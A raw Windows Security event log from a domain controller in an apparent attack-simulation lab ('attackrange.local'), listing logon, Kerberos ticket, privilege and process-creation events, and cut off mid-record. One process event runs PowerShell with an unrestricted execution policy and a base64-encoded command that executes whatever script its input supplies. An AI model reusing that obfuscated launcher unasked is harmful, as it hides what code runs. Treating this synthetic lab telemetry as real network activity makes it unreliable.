SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250668 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x115AC3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250759 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B75 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x48c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1304 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESCA51.tmp" "c:\Users\Administrator\AppData\Local\Temp\uy02bgoh\CSCF723FA60D3FA49C8BA1199CC7140F115.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250758 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B75 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1304 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11d0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\uy02bgoh\uy02bgoh.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250757 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11A49C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250756 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11A49C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250755 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250754 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250753 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250752 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B75 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1148 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11d0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250751 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11A346 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250750 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11A346 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64476 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250749 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11A346 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250748 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11A2E5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250747 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11A2E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64475 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250746 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11A2E5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250745 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11A27D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250744 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11A27D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64474 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250743 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11A27D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250742 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11A1B7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250741 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11A1B7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64473 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250740 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11A1B7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250739 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118B75 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11d0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd58 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250738 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118FDD - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250737 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118FDD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250736 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DFCEA743-9B90-9E08-9D97-6FF0D60337EA} - -Target Server: - Target Server Name: localhost - Additional 